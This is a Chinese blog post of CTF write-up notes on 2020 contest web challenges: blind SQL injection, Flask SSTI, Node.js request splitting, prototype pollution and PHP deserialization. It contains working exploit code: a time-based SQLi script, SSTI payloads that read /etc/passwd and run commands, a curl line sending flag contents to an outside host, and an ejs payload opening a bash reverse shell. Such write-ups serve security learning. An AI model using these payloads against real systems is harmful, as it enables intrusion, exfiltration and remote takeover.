本文最后更新于:星期二, 六月 16日 2020, 1:05 下午
简单记录一下这次ichunqiu2020慈善赛比较有收获的题目,顺便做点笔记
简单的招聘系统
一开始思路出了问题,注册界面可以使用二次注入,也可以直接万能密码进入后台。
后台的查询界面为union select联合爆破查询,用order by字句查出列数为5,排序第二会回显到界面上,后面就是通用套路了
blacklist
与2019 FudanCTF的你再注试试一样,写在BUU刷题笔记中了,这里贴个飘零师傅的wp:https://skysec.top/2019/12/13/2019-FudanCTF-Writeup/#你再注试试
easysqli_copy
<?php
function check($str)
{
if(preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\^|&|database/i',$str,$matches))
{
print_r($matches);
return 0;
}
else
{
return 1;
}
}
try
{
$db = new PDO('mysql:host=localhost;dbname=pdotest','root','******');
}
catch(Exception $e)
{
echo $e->getMessage();
}
if(isset($_GET['id']))
{
$id = $_GET['id'];
}
else
{
$test = $db->query("select balabala from table1");
$res = $test->fetch(PDO::FETCH_ASSOC);
$id = $res['balabala'];
}
if(check($id))
{
$query = "select balabala from table1 where 1=?";
$db->query("set names gbk");
$row = $db->prepare($query);
$row->bindParam(1,$id);
$row->execute();
}
无回显,是一道盲注的题目,正则过滤了一大堆,然后使用PDO进行SQL执行,关于PDO的注入问题,可以查看这个链接:https://xz.aliyun.com/t/3950 关于PDO在特定配置下是可以实现堆叠注入的,这道题目就可以。
PDO会自动转移敏感字符,比如单引号,但这里由于
set names gbk
,所以可以使用宽字节注入绕过,即1%df'
利用gbk编码的特性。并且过滤了这么多,关键的set、prepare、execute却没有过滤,那么使用16进制编码payload就可以完全绕过正则检测。16进制编码使用binascii库中的hexlify()、unhexlify()
最后的重点是使用时间盲注,即sleep爆破列名,然后取得flag即可,脚本在文件夹下
这里有一个细节,关于%df在python中的编码,可以使用
urllib.parse.unquote("%df")
时间盲注耗费时间较多,可以使用多线程优化:https://momomoxiaoxi.com/python/2019/03/12/python/
这里贴一下我经过多线程优化之后的exp:
import binascii
import requests
import urllib
import string
stri = ',{-}+-'+ string.ascii_lowercase + string.digits
# print(payload)
url = "http://c1efd719c13a4d04857291f972be8218066db2b3789f4405.changame.ichunqiu.com"
res = "flag: "
for x in range(1, 43):
for i in stri:
exp = bytes("select if(substr((select fllllll4g from table1),{},1)='{}',sleep(4),0)".format(x, i), encoding='utf-8')
# exp = bytes("select if(substr(database(),{},1)='{}',sleep(4),0)".format(x, i), encoding='utf-8')
# exp = bytes("select if(substr((select group_concat(column_name) from information_schema.columns where table_name='table1'),{},1)='{}',sleep(4),0)".format(x, i), encoding='utf-8')
payload = "1" + urllib.parse.unquote("%df")+"';set @a=0x" + bytes.decode(binascii.hexlify(exp)) + ";prepare diaos from @a;execute diaos;"
# print(payload)
try:
# print("try: {}".format(i))
r = requests.get(url, timeout=2, params={'id': payload})
except requests.exceptions.ReadTimeout:
res += i
print(res)
break
else:
# print(r.text)
continue
# database: pdotest
# colmuns = fllllll4g
# flag = flag{74154b1e-b7df-4e56-9373-1bd1fc4e129f}
Ezsqli
知识点:
- MySQL5.7+新增了sys表,其中的
sys.schema_table_statistics_with_buffer
可以获取最近使用的数据库以及数据表 ((select 1,concat("f",cast("0" as JSON)))<(select * from
f1ag_1s_h3r3_hhhhh))+1
该payload来源于https://www.smi1e.top/sql注入笔记/ 还有待进一步学习
https://www.smi1e.top/新春战疫公益赛-ezsqli-出题小记/ 这里是出题人的出题笔记,可以学习一下思路
Flaskapp
一道Flask题目,base64解密后render_string(),存在SSTI,经过尝试以下payload可以使用(python3):
读文件:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}{% endif %}{% endfor %}
通过该文件读取
/app/app.py
获取到了源码,发现了以下的过滤函数def waf(str): black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"] for x in black_list : if x in str.lower() : return 1 @app.route('/hint',methods=['GET'])
命令执行:
{% if [].__class__.__base__.__subclasses__()[127].__init__.__globals__['sys'+'tem']('ls />/tmp/fl'+'ag') %}2{% endif %}
由于权限限制,只能将根目录写在
/tmp
文件夹下,然后再用读文件的方式读取,发现flag文件名称为this_is_the_flag.txt
那最后直接
{% if [].__class__.__base__.__subclasses__()[127].__init__.__globals__['sys'+'tem']('cat /this_is_the_fl'+'ag.txt') %}2{% endif %}
就可以获得flag
还有一些有关的SSTI解法:
Flask SSTI常用payload:https://www.cnblogs.com/hackxf/p/10480071.html
第二种方法,通过计算pin码方式获得控制台:
node_game
www.zip
拿到源码,是node.js使用express实现的一个服务器
重点在于这两段代码
var express = require('express');
var app = express();
app.post('/file_upload', function(req, res){
var ip = req.connection.remoteAddress;
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
obj.msg="only admin's ip can use it"
res.send(JSON.stringify(obj));
return
}
fs.readFile(req.files[0].path, function(err, data){
if(err){
obj.msg = 'upload failed';
res.send(JSON.stringify(obj));
}else{
var file_path = '/uploads/' + req.files[0].mimetype +"/";
var file_name = req.files[0].originalname
var dir_file = __dirname + file_path + file_name
if(!fs.existsSync(__dirname + file_path)){
try {
fs.mkdirSync(__dirname + file_path)
} catch (error) {
obj.msg = "file type error";
res.send(JSON.stringify(obj));
return
}
}
try {
fs.writeFileSync(dir_file,data)
obj = {
msg: 'upload success',
filename: file_path + file_name
}
} catch (error) {
obj.msg = 'upload failed';
}
res.send(JSON.stringify(obj));
}
})
})
app.get('/core', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:8081/source?' + q
console.log(url)
var trigger = blacklist(url);
if (trigger === true) {
res.send("<p>error occurs!</p>");
} else {
try {
http.get(url, function(resp) {
resp.setEncoding('utf8');
resp.on('error', function(err) {
if (err.code === "ECONNRESET") {
console.log("Timeout occurs");
return;
}
});
resp.on('data', function(chunk) {
try {
resps = chunk.toString();
res.send(resps);
}catch (e) {
res.send(e.message);
}
}).on('error', (e) => {
res.send(e.message);});
});
} catch (error) {
console.log(error);
}
}
} else {
res.send("search param 'q' missing!");
}
})
看到POST函数那一段代码,很明显就是一个SSRF了,利用点在于GET函数中本地发送的请求,因为q可控,所以有可能可以实现SSRF
经过搜索,漏洞是node.js8.0.12的CVE实现请求拆分
https://r3billions.com/writeup-split-second/
还未做出,等待本地环境搭建
因为以上方法对于POST请求不太友好
最终用到了另一种拆分请求实现SSRF的方法:https://xz.aliyun.com/t/2894
该拆分请求的重点在于:
换句话说,报告者使用Node.js向特定路径发出HTTP请求,但是发出的请求实际上被定向到了不一样的路径!深入研究一下,发现这个问题是由Node.js将HTTP请求写入路径时对Unicode字符的有损编码引起的。
虽然用户发出的
http
请求通常将请求路径指定为字符串,但Node.js最终必须将请求作为原始字节输出。JavaScript支持Unicode字符串,因此将它们转换为字节意味着选择并应用适当的Unicode编码。对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码,不能表示高编号的Unicode字符
也就是说,当我们使用高编号的Unicode字符,它的高位会被截断,只保留低位,并解释为ASCII编码的字符,那么我们就可以用这种编码方式绕过Node.js对HTTP控制字符(比如\r\n
)的过滤,实现拆分HTTP请求
顺便加深了一下对python中chr()函数的理解:chr()函数在新版的python中是支持Unicode码的,而不是仅仅为ASCII码。以及,Unicode码是对ASCII码的拓展
最后就是POST请求往/template
文件夹里写文件了,这里有一个点,就是req.files[0].mimetype
返回的是请求头中POST文件的Content-Type
,那我们可以构造../template
来将文件写到/template
文件夹中,才能访问到
还有一个关于pug模板文件的的一句话:global.process.mainModule.require('child_process').exec('curl http://nullcon2020.free.beeceptor.com/$(cat flag.txt)')
,将其写入,然后通过core方法访问一下,就能达到RCE的效果了
ezExpress
首先是一个JavaScript中的toUpperCase()
拉丁文越权。字符ı
(ord = 305)经过该函数转换后会变成大写字母I
(ord = 73).
ejs原型链污染?没有接触过。待更新。
TO-DO LIST:buuoj => HardJS、[axb 2019]membershop
做完了HardJS再来看这题,van全一致…,先看源码
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
原型链污染的点很明显了,就在clone()
函数那里了,利用admin登录之后就可以调用/action
接口直接上传JSON了,可以污染Object.prototype
。利用点跟HardJS一样,是ejs
模板渲染引擎的洞,opt.outputFunctionName
未经校验直接拼接成动态语句执行。(HardJS题解看这 => https://www.diaossama.work/2020/02/27/BUUCTF刷题笔记/#XCUNA-2019-Qualifier-HardJS)
说实话一开始我看到这一行代码的时候
router.get('/', function (req, res) {
if(!req.session.user){
res.redirect('/login');
}
res.outputFunctionName=undefined;
res.render('index',data={'user':req.session.user.user});
});
那个res.outputFunctionName=undefined;
让我以为他把这个洞堵上了,后来一想,不对啊,这个undefined好像对我的污染链没啥影响233
payload如下:
{"__proto__":{"outputFunctionName":"a=1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/174.0.225.172/2333 0>&1\"')//"}}
直接反弹shell拿flag就行
easy_thinking
thinkphp6.0.1 RCE + disable_function 绕过
babyPHP
这是道好题目,涉及到了以下两个知识点(之前都没有好好研究过的):
反序列化逃逸
反序列化逃逸最经典的特征是这样的代码:
function safe($parm){ $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter"); return str_replace($array,'hacker',$parm); } safe(serialize(new Info($age,$nickname)));
这其中的
$age和$nickname
可控,那我们就可以通过构造字符串实现反序列化逃逸。反序列化逃逸的原理是:
unserialize()
会忽略能够正常序列化的字符串后面的字符串比如:
a:4:{s:5:"phone";s:11:"13587819970";s:5:"email";s:32:"aaaaaaaaaa@aaaaaaaaaa.aaaaaaaaaa";s:8:"nickname";s:10:"12345hacke";s:5:"photo";s:10:"config.php";}s:39:"upload/f47454d1d3644127f42070181a8b9afc";}
反序列化会正常解析
a:4:{s:5:"phone";s:11:"13587819970";s:5:"email";s:32:"aaaaaaaaaa@aaaaaaaaaa.aaaaaaaaaa";s:8:"nickname";s:10:"12345hacke";s:5:"photo";s:10:"config.php";}
,而忽略s:39:"upload/f47454d1d3644127f42070181a8b9afc";}
,从而导致读取config.php
反序列化逃逸有两种思路(月亮师傅tql):
str_replace()
后字符串变长,通过构造value中的值实现反序列化逃逸(例如 0ctf piapiapia)这里贴个piapiapia的wp:http://www.vuln.cn/6004
str_replace()
后字符串变短,通过覆盖原来的key值,再任意构造key,实现反序列化逃逸(例如 [axb 2019] easy_serialize_php)这里贴个easy_serialize_php的wp:https://www.cnblogs.com/nwzw-blog/p/12096535.html
这道题显然是第一种思路,union -> hacker 增加一个字符
POP链的寻找
POP链主要还是对PHP魔术方法的掌控,比如
__construct()
、__destruct()
、__call()
、__toString
等等这里POP链比较长,直接贴一个月亮师傅的wp吧,讲的比较细致:https://cjm00n.top/2020/02/24/%E6%96%B0%E6%98%A5%E5%85%AC%E7%9B%8A%E8%B5%9B2020wp/
最后payload如下:
<?php
//3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";N;}
class Info{
public $age;
public $nickname;
public $CtrlCase;
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="noob123";
public $dbpass="noob123";
public $database="noob123";
public $name='admin';
public $password;
public $mysqli;
public $token = "admin";
}
class User
{
public $id;
public $age=null;
public $nickname=null;
}
$user = new User();
$user->age = "select password, id from user where username=?";
$nickname = new Info();
$ctlcase = new dbCtrl();
$nickname->CtrlCase = $ctlcase;
$user->nickname = $nickname;
$info = new UpdateHelper();
$info->sql = $user;
echo serialize($info);
还有两道比较类似的POP链题目:BUUCTF上的2019强网杯 upload
、bytectf ezcms
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!